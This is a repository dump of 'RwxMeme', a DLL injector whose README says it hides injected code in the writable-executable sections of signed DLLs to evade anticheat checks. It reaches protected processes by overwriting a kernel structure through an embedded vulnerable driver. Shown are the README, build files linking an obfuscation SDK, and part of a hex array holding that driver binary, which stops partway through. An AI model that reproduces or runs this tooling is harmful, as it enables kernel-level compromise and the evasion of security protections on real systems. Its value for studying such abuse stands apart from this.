Repository: SamuelTulach/RwxMeme Branch: main Commit: 6318212aefc6 Files: 27 Total size: 304.5 KB Directory structure: gitextract_svouth1i/ ├── .gitignore ├── LICENSE.txt ├── README.md └── RwxMeme/ ├── CMakeLists.txt ├── CMakePresets.json └── RwxMeme/ ├── CMakeLists.txt ├── lib/ │ └── VMProtectSDK64.lib └── src/ ├── driver/ │ ├── driver_resource.h │ ├── intel_driver.cpp │ ├── intel_driver.h │ ├── magic.cpp │ ├── magic.h │ ├── memory.cpp │ ├── memory.h │ ├── nt.h │ ├── service.cpp │ ├── service.h │ ├── utils.cpp │ └── utils.h ├── entry.cpp ├── general.h └── utils/ ├── console.cpp ├── console.h ├── executable.cpp ├── executable.h ├── vmprotect.h └── xor.h ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ CMakeLists.txt.user CMakeCache.txt CMakeFiles CMakeScripts Testing Makefile cmake_install.cmake install_manifest.txt compile_commands.json CTestTestfile.cmake _deps .vs out nana_v142_Release_x64.lib ================================================ FILE: LICENSE.txt ================================================ Copyright (c) 2022 Samuel Tulach Copyright (c) 2019 z175 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================


RwxMeme
Injector abusing RWX regions

## About This injector abuses the fact that some signed (read whitelisted by anticheat) DLLs have RWX (read, write, execute) sections. Since those sections are writable, running *simple integrity checks* towards them does not make sense, so we can simply map our own DLL into those sections. In order for this to work on protected processes, [another meme is used](https://github.com/SamuelTulach/meme-rw) (EPROCESS->PreviousMode overwritten with vulnerable driver). ## Usage Compile or download the project. Pass the process name, window title and DLL path as process arguments (run without them to get more details). Don't forget that the signed DLL will be visible in the process. ================================================ FILE: RwxMeme/CMakeLists.txt ================================================ cmake_minimum_required (VERSION 3.8) project ("RwxMeme") add_subdirectory ("RwxMeme") ================================================ FILE: RwxMeme/CMakePresets.json ================================================ { "version": 3, "configurePresets": [ { "name": "windows-base", "hidden": true, "generator": "Ninja", "binaryDir": "${sourceDir}/out/build/${presetName}", "installDir": "${sourceDir}/out/install/${presetName}", "cacheVariables": { "CMAKE_C_COMPILER": "cl.exe", "CMAKE_CXX_COMPILER": "cl.exe" }, "condition": { "type": "equals", "lhs": "${hostSystemName}", "rhs": "Windows" } }, { "name": "x64-debug", "displayName": "x64 Debug", "inherits": "windows-base", "architecture": { "value": "x64", "strategy": "external" }, "cacheVariables": { "CMAKE_BUILD_TYPE": "Debug" } }, { "name": "x64-release", "displayName": "x64 Release", "inherits": "x64-debug", "cacheVariables": { "CMAKE_BUILD_TYPE": "Release" } }, { "name": "x86-debug", "displayName": "x86 Debug", "inherits": "windows-base", "architecture": { "value": "x86", "strategy": "external" }, "cacheVariables": { "CMAKE_BUILD_TYPE": "Debug" } }, { "name": "x86-release", "displayName": "x86 Release", "inherits": "x86-debug", "cacheVariables": { "CMAKE_BUILD_TYPE": "Release" } } ] } ================================================ FILE: RwxMeme/RwxMeme/CMakeLists.txt ================================================ cmake_minimum_required (VERSION 3.8) set(CMAKE_MFC_FLAG 1) file(GLOB_RECURSE sourcefiles "src/*.h" "src/*.cpp" ) set(CMAKE_CXX_STANDARD 17) set(CMAKE_CXX_STANDARD_REQUIRED ON) add_compile_definitions(_CRT_SECURE_NO_WARNINGS) add_compile_definitions(WIN32_LEAN_AND_MEAN) add_compile_definitions(NOMINMAX) find_package(MFC) if (NOT MFC_FOUND) MESSAGE(FATAL_ERROR "MFC could not be found!") endif() macro(replace_flags var these those) if("${${var}}" MATCHES "${these}") string(REGEX REPLACE "${these}" "${those}" ${var} "${${var}}") endif() message(STATUS "info: ${var}='${${var}}'") endmacro() set(has_correct_flag 0) foreach(lang C CXX) foreach(suffix "" _DEBUG _MINSIZEREL _RELEASE _RELWITHDEBINFO) replace_flags("CMAKE_${lang}_FLAGS${suffix}" "/MD" "/MT") if(CMAKE_${lang}_FLAGS${suffix} MATCHES "/MT") set(has_correct_flag 1) endif() endforeach() endforeach() if(NOT has_correct_flag) message(FATAL_ERROR "no CMAKE_*_FLAGS var contains /MT") endif() if(CMAKE_CXX_FLAGS MATCHES "/W[0-4]") string(REGEX REPLACE "/W[0-4]" "/W0" CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS}") else() set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /W0") endif() if(CMAKE_CXX_FLAGS MATCHES "/Ob[0-4]") string(REGEX REPLACE "/Ob[0-4]" "/Ob1" CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS}") else() set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /Ob1") endif() if(CMAKE_CXX_FLAGS_RELEASE MATCHES "/Ob[0-4]") string(REGEX REPLACE "/Ob[0-4]" "/Ob1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS}") else() set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS} /Ob1") endif() link_directories(${CMAKE_SOURCE_DIR}/RwxMeme/lib) add_executable(RwxMeme ${sourcefiles}) target_link_libraries(RwxMeme VMProtectSDK64) ================================================ FILE: RwxMeme/RwxMeme/src/driver/driver_resource.h ================================================ #ifndef DRIVER_RESOURCE_H #define DRIVER_RESOURCE_H namespace driver_resource { inline unsigned char driverBuffer[] = { 0x4d, 0x5a, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x0e, 0x1f, 0xba, 0x0e, 0x00, 0xb4, 0x09, 0xcd, 0x21, 0xb8, 0x01, 0x4c, 0xcd, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6f, 0x67, 0x72, 0x61, 0x6d, 0x20, 0x63, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6e, 0x20, 0x69, 0x6e, 0x20, 0x44, 0x4f, 0x53, 0x20, 0x6d, 0x6f, 0x64, 0x65, 0x2e, 0x0d, 0x0d, 0x0a, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x85, 0xc5, 0x87, 0x03, 0xe4, 0xab, 0xd4, 0x03, 0xe4, 0xab, 0xd4, 0x03, 0xe4, 0xab, 0xd4, 0x03, 0xe4, 0xaa, 0xd4, 0x24, 0xe4, 0xab, 0xd4, 0x75, 0x79, 0xd0, 0xd4, 0x06, 0xe4, 0xab, 0xd4, 0x75, 0x79, 0xd6, 0xd4, 0x00, 0xe4, 0xab, 0xd4, 0x75, 0x79, 0xc6, 0xd4, 0x04, 0xe4, 0xab, 0xd4, 0xc0, 0xeb, 0xf5, 0xd4, 0x02, 0xe4, 0xab, 0xd4, 0x75, 0x79, 0xd3, 0xd4, 0x02, 0xe4, 0xab, 0xd4, 0x52, 0x69, 0x63, 0x68, 0x03, 0xe4, 0xab, 0xd4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x06, 0x00, 0xc4, 0x70, 0x76, 0x4c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x22, 0x00, 0x0b, 0x02, 0x08, 0x00, 0x00, 0x4e, 0x00, 0x00, 0x00, 0xb2, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x5d, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x05, 0x00, 0x02, 0x00, 0x05, 0x00, 0x02, 0x00, 0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x5d, 0x00, 0x00, 0x04, 0x00, 0x00, 0x6c, 0x94, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdc, 0x22, 0x5d, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x30, 0x5d, 0x00, 0xf8, 0x03, 0x00, 0x00, 0x00, 0x10, 0x5d, 0x00, 0x38, 0x04, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0xa8, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x61, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x45, 0x45, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, 0x2e, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xfc, 0x07, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2e, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0xc0, 0x9e, 0x5c, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xc8, 0x2e, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x38, 0x04, 0x00, 0x00, 0x00, 0x10, 0x5d, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4e, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x9c, 0x07, 0x00, 0x00, 0x00, 0x20, 0x5d, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0xe2, 0x2e, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0xf8, 0x03, 0x00, 0x00, 0x00, 0x30, 0x5d, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x53, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0x41, 0x08, 0x48, 0x8d, 0x0d, 0xdf, 0x36, 0x00, 0x00, 0x48, 0x8b, 0x58, 0x40, 0xe8, 0xe6, 0x0e, 0x00, 0x00, 0x48, 0x8d, 0x15, 0xbf, 0x36, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xff, 0x15, 0x64, 0x50, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xff, 0x15, 0xe1, 0x50, 0x00, 0x00, 0x48, 0x8b, 0x0b, 0xff, 0x15, 0xe8, 0x50, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x69, 0x36, 0x00, 0x00, 0x48, 0xc7, 0x43, 0x10, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xac, 0x0e, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x30, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d, 0x03, 0x38, 0x00, 0x00, 0x48, 0x8b, 0xda, 0xe8, 0x8b, 0x0e, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x94, 0x60, 0x00, 0x00, 0xe8, 0x1f, 0x0e, 0x00, 0x00, 0x45, 0x33, 0xdb, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0x4c, 0x89, 0x5b, 0x38, 0x44, 0x89, 0x5b, 0x30, 0xff, 0x15, 0x81, 0x4f, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xa2, 0x37, 0x00, 0x00, 0xe8, 0x5d, 0x0e, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d, 0x03, 0x38, 0x00, 0x00, 0x48, 0x8b, 0xda, 0xe8, 0x2b, 0x0e, 0x00, 0x00, 0x45, 0x33, 0xdb, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0x4c, 0x89, 0x5b, 0x38, 0x44, 0x89, 0x5b, 0x30, 0xff, 0x15, 0x2d, 0x4f, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x1e, 0x60, 0x00, 0x00, 0xe8, 0xc9, 0x0d, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xa2, 0x37, 0x00, 0x00, 0xe8, 0xfd, 0x0d, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x40, 0x48, 0x89, 0x7c, 0x24, 0x48, 0x48, 0x8b, 0x48, 0x20, 0x48, 0x8b, 0xfa, 0x8b, 0x50, 0x18, 0x48, 0x85, 0xc9, 0x74, 0x57, 0x81, 0xfa, 0x07, 0x20, 0x86, 0x80, 0x74, 0x46, 0x81, 0xfa, 0x0b, 0x20, 0x86, 0x80, 0x74, 0x35, 0x81, 0xfa, 0x0f, 0x20, 0x86, 0x80, 0x74, 0x24, 0x81, 0xfa, 0x13, 0x20, 0x86, 0x80, 0x74, 0x13, 0x48, 0x8d, 0x0d, 0xc5, 0x37, 0x00, 0x00, 0xbb, 0x0d, 0x00, 0x00, 0xc0, 0xe8, 0x8b, 0x0d, 0x00, 0x00, 0xeb, 0x35, 0xe8, 0xa4, 0x2d, 0x00, 0x00, 0x8b, 0xd8, 0xeb, 0x2c, 0xe8, 0x7b, 0x01, 0x00, 0x00, 0x8b, 0xd8, 0xeb, 0x23, 0xe8, 0xa2, 0x08, 0x00, 0x00, 0x8b, 0xd8, 0xeb, 0x1a, 0xe8, 0xf9, 0x01, 0x00, 0x00, 0x8b, 0xd8, 0xeb, 0x11, 0x48, 0x8d, 0x0d, 0x5e, 0x37, 0x00, 0x00, 0xe8, 0x59, 0x0d, 0x00, 0x00, 0xbb, 0x0d, 0x00, 0x00, 0xc0, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0x48, 0xc7, 0x47, 0x38, 0x00, 0x00, 0x00, 0x00, 0x89, 0x5f, 0x30, 0xff, 0x15, 0x56, 0x4e, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x8b, 0x05, 0x2a, 0x5f, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x53, 0x4c, 0x8b, 0x19, 0x45, 0x32, 0xd2, 0x45, 0x33, 0xc0, 0x4d, 0x8b, 0xc8, 0x49, 0x8b, 0xc0, 0x48, 0x8d, 0x1d, 0xa8, 0xec, 0x5b, 0x00, 0x4c, 0x39, 0x1c, 0x18, 0x75, 0x0a, 0x80, 0xbc, 0x18, 0x08, 0x01, 0x00, 0x00, 0x01, 0x74, 0x13, 0x48, 0x05, 0x10, 0x01, 0x00, 0x00, 0x49, 0xff, 0xc1, 0x48, 0x3d, 0x00, 0x10, 0x01, 0x00, 0x72, 0xdf, 0xeb, 0x22, 0x84, 0xd2, 0x75, 0x1b, 0x49, 0x8b, 0xc1, 0x41, 0xb2, 0x01, 0x48, 0x69, 0xc0, 0x10, 0x01, 0x00, 0x00, 0x44, 0x88, 0x84, 0x18, 0x08, 0x01, 0x00, 0x00, 0x4c, 0x89, 0x04, 0x18, 0xeb, 0x03, 0x45, 0x32, 0xd2, 0x49, 0x81, 0xf9, 0x00, 0x01, 0x00, 0x00, 0x75, 0x24, 0x80, 0xfa, 0x01, 0x75, 0x45, 0x49, 0x8b, 0xc8, 0x66, 0x90, 0x48, 0x83, 0x3c, 0x19, 0x00, 0x74, 0x18, 0x48, 0x81, 0xc1, 0x10, 0x01, 0x00, 0x00, 0x49, 0xff, 0xc0, 0x48, 0x81, 0xf9, 0x00, 0x10, 0x01, 0x00, 0x72, 0xe6, 0x41, 0x8a, 0xc2, 0x5b, 0xc3, 0x49, 0x81, 0xf8, 0x00, 0x01, 0x00, 0x00, 0x73, 0xf2, 0x4d, 0x69, 0xc0, 0x10, 0x01, 0x00, 0x00, 0xb0, 0x01, 0x4d, 0x89, 0x1c, 0x18, 0x41, 0xc6, 0x84, 0x18, 0x08, 0x01, 0x00, 0x00, 0x01, 0x5b, 0xc3, 0x41, 0x0f, 0xb6, 0xc2, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x84, 0xd2, 0x0f, 0x44, 0xc1, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0x11, 0x4c, 0x8d, 0x05, 0xe6, 0xeb, 0x5b, 0x00, 0x33, 0xc9, 0x66, 0x66, 0x66, 0x90, 0x4a, 0x39, 0x14, 0x01, 0x75, 0x0b, 0x42, 0x80, 0xbc, 0x01, 0x08, 0x01, 0x00, 0x00, 0x01, 0x74, 0x13, 0x48, 0x81, 0xc1, 0x10, 0x01, 0x00, 0x00, 0x48, 0x81, 0xf9, 0x00, 0x10, 0x01, 0x00, 0x72, 0xdf, 0x32, 0xc0, 0xc3, 0xb0, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x85, 0xc9, 0x74, 0x72, 0x48, 0x8b, 0x01, 0x48, 0xff, 0xc8, 0x74, 0x4e, 0x48, 0xff, 0xc8, 0x74, 0x2c, 0x48, 0xff, 0xc8, 0x74, 0x0b, 0xb8, 0x18, 0x20, 0x6a, 0xc8, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x8d, 0x59, 0x10, 0x48, 0x85, 0xdb, 0x74, 0x44, 0x48, 0x8b, 0x4b, 0x08, 0xe8, 0x36, 0x2a, 0x00, 0x00, 0x89, 0x03, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x8d, 0x59, 0x10, 0x48, 0x85, 0xdb, 0x74, 0x0c, 0x48, 0x8b, 0x4b, 0x08, 0xe8, 0x2a, 0x2a, 0x00, 0x00, 0x88, 0x43, 0x04, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x8d, 0x59, 0x10, 0x48, 0x85, 0xdb, 0x74, 0x0b, 0x48, 0x8b, 0x4b, 0x08, 0xe8, 0xfd, 0x29, 0x00, 0x00, 0x89, 0x03, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x48, 0x85, 0xc9, 0x48, 0x89, 0x5c, 0x24, 0x50, 0x48, 0x89, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0xf9, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x84, 0x76, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x01, 0x48, 0xff, 0xc8, 0x48, 0x83, 0xf8, 0x3a, 0x0f, 0x87, 0x61, 0x05, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x2a, 0xec, 0xff, 0xff, 0x8b, 0x84, 0x81, 0x48, 0x19, 0x00, 0x00, 0x48, 0x03, 0xc1, 0xff, 0xe0, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0x15, 0x08, 0x00, 0x00, 0x33, 0xdb, 0x88, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0x06, 0x08, 0x00, 0x00, 0x33, 0xdb, 0x66, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xf6, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x0f, 0xb6, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xe3, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x88, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x0f, 0xb7, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xd0, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x88, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x8b, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xce, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x88, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xbf, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x88, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xc0, 0x07, 0x00, 0x00, 0x33, 